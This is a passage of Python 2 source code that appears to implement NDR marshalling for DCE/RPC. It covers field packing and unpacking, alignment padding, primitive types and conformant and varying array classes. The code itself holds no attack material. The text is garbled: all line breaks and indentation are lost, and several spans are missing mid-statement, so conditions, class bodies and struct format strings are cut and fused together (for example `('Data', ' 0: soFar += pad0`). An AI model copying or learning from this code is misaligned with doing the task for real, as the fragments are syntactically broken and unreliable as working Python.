%s" % self.fields[key]['Data'].__class__.__name__) else: LOG.error("Can't setitem with class specified, should be %s" % self.fields[key].__class__.__name__) elif isinstance(self.fields[key], NDR): self.fields[key]['Data'] = value else: self.fields[key] = value def __getitem__(self, key): if isinstance(self.fields[key], NDR): if self.fields[key].fields.has_key('Data'): return self.fields[key]['Data'] return self.fields[key] def __str__(self): return self.getData() def __len__(self): # XXX: improve return len(self.getData()) def getDataLen(self, data): return len(data) @staticmethod def isNDR(field): if inspect.isclass(field): myClass = field if issubclass(myClass, NDR): return True return False def dumpRaw(self, msg = None, indent = 0): if msg is None: msg = self.__class__.__name__ ind = ' '*indent print "\n%s" % msg for field in self.commonHdr+self.structure+self.referent: i = field[0] if i in self.fields: if isinstance(self.fields[i], NDR): self.fields[i].dumpRaw('%s%s:{' % (ind,i), indent = indent + 4) print "%s}" % ind elif isinstance(self.fields[i], list): print "%s[" % ind for num,j in enumerate(self.fields[i]): if isinstance(j, NDR): j.dumpRaw('%s%s:' % (ind,i), indent = indent + 4) print "%s," % ind else: print "%s%s: {%r}," % (ind, i, j) print "%s]" % ind else: print "%s%s: {%r}" % (ind,i,self[i]) def dump(self, msg = None, indent = 0): if msg is None: msg = self.__class__.__name__ ind = ' '*indent if msg != '': print "%s" % msg, for fieldName, fieldType in self.commonHdr+self.structure+self.referent: if fieldName in self.fields: if isinstance(self.fields[fieldName], NDR): self.fields[fieldName].dump('\n%s%-31s' % (ind, fieldName+':'), indent = indent + 4), else: print " %r" % (self[fieldName]), def getAlignment(self): return self.align @staticmethod def calculatePad(fieldType, soFar): try: alignment = calcsize(fieldType.split('=')[0]) except: alignment = 0 if alignment > 0: pad = (alignment - (soFar % alignment)) % alignment else: pad = 0 return pad def getData(self, soFar = 0): data = '' for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: try: # Alignment of Primitive Types # NDR enforces NDR alignment of primitive data; that is, any primitive of size n # octets is aligned at a octet stream index that is a multiple of n. # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates # the number of an octet in an octet stream when octets are numbered, beginning with 0, # from the first octet in the stream. Where necessary, an alignment gap, consisting of # octets of unspecified value, precedes the representation of a primitive. The gap is # of the smallest size sufficient to align the primitive. pad = self.calculatePad(fieldTypeOrClass, soFar) if pad > 0: soFar += pad data += '\xbf'*pad res = self.pack(fieldName, fieldTypeOrClass, soFar) data += res soFar += len(res) except Exception, e: LOG.error(str(e)) LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) raise return data def fromString(self, data, soFar = 0): soFar0 = soFar for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: try: # Alignment of Primitive Types # NDR enforces NDR alignment of primitive data; that is, any primitive of size n # octets is aligned at a octet stream index that is a multiple of n. # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates # the number of an octet in an octet stream when octets are numbered, beginning with 0, # from the first octet in the stream. Where necessary, an alignment gap, consisting of # octets of unspecified value, precedes the representation of a primitive. The gap is # of the smallest size sufficient to align the primitive. pad = self.calculatePad(fieldTypeOrClass, soFar) if pad > 0: soFar += pad data = data[pad:] size = self.unpack(fieldName, fieldTypeOrClass, data, soFar) data = data[size:] soFar += size except Exception,e: LOG.error(str(e)) LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256])) raise return soFar - soFar0 def pack(self, fieldName, fieldTypeOrClass, soFar = 0): if isinstance(self.fields[fieldName], NDR): return self.fields[fieldName].getData(soFar) data = self.fields[fieldName] # void specifier if fieldTypeOrClass[:1] == '_': return '' # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: try: return self.pack(fieldName, two[0], soFar) except: self.fields[fieldName] = eval(two[1], {}, self.fields) return self.pack(fieldName, two[0], soFar) if data is None: raise Exception('Trying to pack None') # literal specifier if fieldTypeOrClass[:1] == ':': return str(data) # struct like specifier return pack(fieldTypeOrClass, data) def unpack(self, fieldName, fieldTypeOrClass, data, soFar = 0): size = self.calcUnPackSize(fieldTypeOrClass, data) data = data[:size] if isinstance(self.fields[fieldName], NDR): return self.fields[fieldName].fromString(data, soFar) # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: return self.unpack(fieldName,two[0], data, soFar) # literal specifier if fieldTypeOrClass == ':': if isinstance(fieldTypeOrClass, NDR): return self.fields[fieldName].fromString(data, soFar) else: dataLen = self.getDataLen(data) self.fields[fieldName] = data[:dataLen] return dataLen # struct like specifier self.fields[fieldName] = unpack(fieldTypeOrClass, data)[0] return size def calcPackSize(self, fieldTypeOrClass, data): if isinstance(fieldTypeOrClass, str) is False: return len(data) # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: return self.calcPackSize(two[0], data) # literal specifier if fieldTypeOrClass[:1] == ':': return len(data) # struct like specifier return calcsize(fieldTypeOrClass) def calcUnPackSize(self, fieldTypeOrClass, data): if isinstance(fieldTypeOrClass, str) is False: return len(data) # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: return self.calcUnPackSize(two[0], data) # array specifier two = fieldTypeOrClass.split('*') if len(two) == 2: return len(data) # literal specifier if fieldTypeOrClass[:1] == ':': return len(data) # struct like specifier return calcsize(fieldTypeOrClass) # NDR Primitives class NDRSMALL(NDR): align = 1 structure = ( ('Data', 'b=0'), ) class NDRUSMALL(NDR): align = 1 structure = ( ('Data', 'B=0'), ) class NDRBOOLEAN(NDRSMALL): def dump(self, msg = None, indent = 0): if msg is None: msg = self.__class__.__name__ if msg != '': print msg, if self['Data'] > 0: print " TRUE" else: print " FALSE" class NDRCHAR(NDR): align = 1 structure = ( ('Data', 'c'), ) class NDRSHORT(NDR): align = 2 structure = ( ('Data', ' 0: soFar += pad0 arrayPadding = '\xef'*pad0 else: arrayPadding = '' # And now, let's pretend we put the item in soFar += arrayItemSize data = self.fields[fieldName].getData(soFar) data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data else: pad = self.calculatePad(fieldTypeOrClass, soFar) if pad > 0: soFar += pad data += '\xcc'*pad data += self.pack(fieldName, fieldTypeOrClass, soFar) # Any referent information to pack? if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE): data += self.fields[fieldName].getDataReferents(soFar0 + len(data)) data += self.fields[fieldName].getDataReferent(soFar0 + len(data)) soFar = soFar0 + len(data) except Exception, e: LOG.error(str(e)) LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) raise return data def calcPackSize(self, fieldTypeOrClass, data): if isinstance(fieldTypeOrClass, str) is False: return len(data) # array specifier two = fieldTypeOrClass.split('*') if len(two) == 2: answer = 0 for each in data: if self.isNDR(self.item): item = ':' else: item = self.item answer += self.calcPackSize(item, each) return answer else: return NDR.calcPackSize(self, fieldTypeOrClass, data) def getArrayMaximumSize(self, fieldName): if self.fields[fieldName].fields['MaximumCount'] > 0: return self.fields[fieldName].fields['MaximumCount'] else: return self.fields[fieldName].getArraySize() def getArraySize(self,fieldName, data, soFar): if self._isNDR64: arrayItemSize = 8 arrayUnPackStr = ' 0: soFar += pad0 data = data[pad0:] if isinstance(self.fields[fieldName], NDRUniConformantArray): # Array Size is at the very begining arraySize = unpack(arrayUnPackStr, data[:arrayItemSize])[0] elif isinstance(self.fields[fieldName], NDRUniConformantVaryingArray): # NDRUniConformantVaryingArray Array # Unpack the Maximum Count maximumCount = unpack(arrayUnPackStr, data[:arrayItemSize])[0] # Let's store the Maximum Count for later use self.fields[fieldName].fields['MaximumCount'] = maximumCount # Unpack the Actual Count arraySize = unpack(arrayUnPackStr, data[arrayItemSize*2:][:arrayItemSize])[0] else: # NDRUniVaryingArray Array arraySize = unpack(arrayUnPackStr, data[arrayItemSize:][:arrayItemSize])[0] return arraySize, arrayItemSize+pad0 def fromStringReferents(self, data, soFar = 0): soFar0 = soFar for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE): size = self.fields[fieldName].fromStringReferents(data, soFar) data = data[size:] soFar += size size = self.fields[fieldName].fromStringReferent(data, soFar) soFar += size data = data[size:] return soFar - soFar0 def fromStringReferent(self, data, soFar = 0): if hasattr(self, 'referent') is not True: return 0 soFar0 = soFar if self.fields.has_key('ReferentID'): if self['ReferentID'] == 0: # NULL Pointer, there's no referent for it return 0 for fieldName, fieldTypeOrClass in self.referent: try: if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName], NDRUniConformantVaryingArray): # Get the array size arraySize, advanceStream = self.getArraySize(fieldName, data, soFar) soFar += advanceStream data = data[advanceStream:] # Let's tell the array how many items are available self.fields[fieldName].setArraySize(arraySize) size = self.fields[fieldName].fromString(data, soFar) else: # ToDo: Align only if not NDR pad = self.calculatePad(fieldTypeOrClass, soFar) if pad > 0: soFar += pad data = data[pad:] size = self.unpack(fieldName, fieldTypeOrClass, data, soFar) if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE): size += self.fields[fieldName].fromStringReferents(data[size:], soFar + size) size += self.fields[fieldName].fromStringReferent(data[size:], soFar + size) data = data[size:] soFar += size except Exception,e: LOG.error(str(e)) LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256])) raise return soFar-soFar0 def calcUnPackSize(self, fieldTypeOrClass, data): if isinstance(fieldTypeOrClass, str) is False: return len(data) two = fieldTypeOrClass.split('*') if len(two) == 2: return len(data) else: return NDR.calcUnPackSize(self, fieldTypeOrClass, data) # Uni-dimensional Fixed Arrays class NDRArray(NDRCONSTRUCTEDTYPE): def dump(self, msg = None, indent = 0): if msg is None: msg = self.__class__.__name__ ind = ' '*indent if msg != '': print msg, if isinstance(self['Data'], list): print "\n%s[" % ind ind += ' '*4 for num,j in enumerate(self.fields['Data']): if isinstance(j, NDR): j.dump('%s' % ind, indent = indent + 4), print "," else: print "%s %r," % (ind,j) print "%s]" % ind[:-4], else: print " %r" % self['Data'], def setArraySize(self, size): self.arraySize = size def getArraySize(self): return self.arraySize def changeTransferSyntax(self, newSyntax): # Here we gotta go over each item in the array and change the TS # Only if the item type is NDR if hasattr(self, 'item') and self.item is not None: if self.isNDR(self.item): for item in self.fields['Data']: item.changeTransferSyntax(newSyntax) return NDRCONSTRUCTEDTYPE.changeTransferSyntax(self, newSyntax) def getAlignment(self): # Array alignment is the largest alignment of the array element type and # the size information type, if any. align = 0 # And now the item if hasattr(self, "item") and self.item is not None: if self.isNDR(self.item): tmpAlign = self.item().getAlignment() else: tmpAlign = self.calcPackSize(self.item, '') if tmpAlign > align: align = tmpAlign return align def getData(self, soFar = 0): data = '' soFar0 = soFar for fieldName, fieldTypeOrClass in self.structure: try: if self.isNDR(fieldTypeOrClass) is False: # If the item is not NDR (e.g. ('MaximumCount', ' 0: soFar += pad data += '\xca'*pad res = self.pack(fieldName, fieldTypeOrClass, soFar) data += res soFar = soFar0 + len(data) except Exception, e: LOG.error(str(e)) LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) raise return data def pack(self, fieldName, fieldTypeOrClass, soFar = 0): # array specifier two = fieldTypeOrClass.split('*') if len(two) == 2: answer = '' if self.isNDR(self.item): item = ':' dataClass = self.item self.fields['_tmpItem'] = dataClass(isNDR64=self._isNDR64) else: item = self.item dataClass = None self.fields['_tmpItem'] = item for each in self.fields[fieldName]: pad = self.calculatePad(self.item, len(answer)+soFar) if pad > 0: answer += '\xdd' * pad if dataClass is None: answer += pack(item, each) else: answer += each.getData(len(answer)+soFar) if dataClass is not None: for each in self.fields[fieldName]: if isinstance(each, NDRCONSTRUCTEDTYPE): answer += each.getDataReferents(len(answer)+soFar) answer += each.getDataReferent(len(answer)+soFar) del(self.fields['_tmpItem']) if isinstance(self, NDRUniConformantArray) or isinstance(self, NDRUniConformantVaryingArray): # First field points to a field with the amount of items self.setArraySize(len(self.fields[fieldName])) else: self.fields[two[1]] = len(self.fields[fieldName]) return answer else: return NDRCONSTRUCTEDTYPE.pack(self, fieldName, fieldTypeOrClass, soFar) def fromString(self, data, soFar = 0): soFar0 = soFar for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: try: if self.isNDR(fieldTypeOrClass) is False: # If the item is not NDR (e.g. ('MaximumCount', ' 0: soFar += pad data = data[pad:] size = self.unpack(fieldName, fieldTypeOrClass, data, soFar) data = data[size:] soFar += size except Exception,e: LOG.error(str(e)) LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[:256])) raise return soFar - soFar0 def unpack(self, fieldName, fieldTypeOrClass, data, soFar = 0): # array specifier two = fieldTypeOrClass.split('*') answer = [] soFarItems = 0 soFar0 = soFar if len(two) == 2: if isinstance(self, NDRUniConformantArray): # First field points to a field with the amount of items numItems = self.getArraySize() elif isinstance(self, NDRUniConformantVaryingArray): # In this case we have the MaximumCount but it could be different from the ActualCount. # Let's make the unpack figure this out. #self.fields['MaximumCount'] = self.getArraySize() numItems = self[two[1]] else: numItems = self[two[1]] # The item type is determined by self.item if self.isNDR(self.item): item = ':' dataClassOrCode = self.item self.fields['_tmpItem'] = dataClassOrCode(isNDR64=self._isNDR64) else: item = self.item dataClassOrCode = None self.fields['_tmpItem'] = item nsofar = 0 while numItems and soFarItems < len(data): pad = self.calculatePad(self.item, soFarItems+soFar) if pad > 0: soFarItems +=pad if dataClassOrCode is None: nsofar = soFarItems + calcsize(item) answer.append(unpack(item, data[soFarItems:nsofar])[0]) else: itemn = dataClassOrCode(isNDR64=self._isNDR64) size = itemn.fromString(data[soFarItems:], soFar+soFarItems) answer.append(itemn) nsofar += size + pad numItems -= 1 soFarItems = nsofar if dataClassOrCode is not None and isinstance(dataClassOrCode(), NDRCONSTRUCTEDTYPE): # We gotta go over again, asking for the referents data = data[soFarItems:] answer2 = [] for itemn in answer: size = itemn.fromStringReferents(data, soFarItems+soFar) soFarItems += size data = data[size:] size = itemn.fromStringReferent(data, soFarItems+soFar) soFarItems += size data = data[size:] answer2.append(itemn) answer = answer2 del answer2 del(self.fields['_tmpItem']) self.fields[fieldName] = answer return soFarItems + soFar - soFar0 else: return NDRCONSTRUCTEDTYPE.unpack(self, fieldName, fieldTypeOrClass, data, soFar) class NDRUniFixedArray(NDRArray): structure = ( ('Data',':'), ) # Uni-dimensional Conformant Arrays class NDRUniConformantArray(NDRArray): item = 'c' structure = ( #('MaximumCount', '